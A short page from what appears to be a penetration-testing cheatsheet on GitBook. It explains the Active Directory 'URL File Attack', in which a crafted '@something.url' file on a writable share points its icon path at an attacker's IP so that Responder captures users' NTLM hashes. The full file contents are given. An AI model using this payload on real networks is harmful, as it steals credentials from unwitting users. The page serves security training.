coffeetohack
  • Introduction
  • Methodology
  • Cheatsheet
    • Ports
    • Nmap
    • Directory Bruteforce
    • Password Cracking
    • Web Server
    • Shells
    • TTY Shells
    • File Transfers
    • XSS | SQLi
    • LFI / RFI
    • File Uploads
    • Port Forwarding
  • Framework/Application
    • CMS Made Simple
    • Blundit
    • Wordpress
    • OctoberCMS
    • Tomcat
  • Windows PrivEsc
    • Scheduled Tasks
    • Stored Passwords
    • Installed Apps
    • Unquoted Service Path
    • Binary Paths
    • DLL Hijacking
    • Startup Apps
    • Executable Files
    • Registry
    • Run As
  • Linux PrivEsc
    • Sudo
    • SUID
    • Capabilities
    • Scheduled Tasks
    • NFS Root Squashing
    • Docker
  • Buffer Overflow
    • dostackbufferoverflow
    • BoF 1
    • Vulnserver
    • Brainpan
    • Brainstorm
  • Initial Shell Exploits
  • PrivEsc Exploits
  • Cisco Packet Tracer
  • Active Directory
    • Methodology
    • LLMNR Poisioning
    • Cracking Hashes
    • SMB Relay
    • IPv6 Attacks
    • PowerView
    • Bloodhound
    • Pass The Hash
    • Token Impersonation
    • Kerberoasting
    • GPP Attack
    • URL File Attack
    • PrintNightmare
    • Mimikatz
    • Golden Ticket Attack
  • OSINT
Powered by GitBook
On this page

Was this helpful?

  1. Active Directory

URL File Attack

PreviousGPP AttackNextPrintNightmare

Last updated 2 years ago

Was this helpful?

and Resources/Active Directory Attack.md#scf-and-url-file-attack-against-writeable-share

Assume a scenario when we have compromised a user and the user has shared access. We can use this access to capture the hashes using responder. For this we need a compromised user account or an open file share.

In the shared folder, create a file named: “@something.url” (include “ as well)

Inside the file paste the following content: Replace the IP with Kali IP

[InternetShortcut] URL=blah WorkingDirectory=blah IconFile=\\\\x.x.x.x\\%USERNAME%.icon IconIndex=1

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology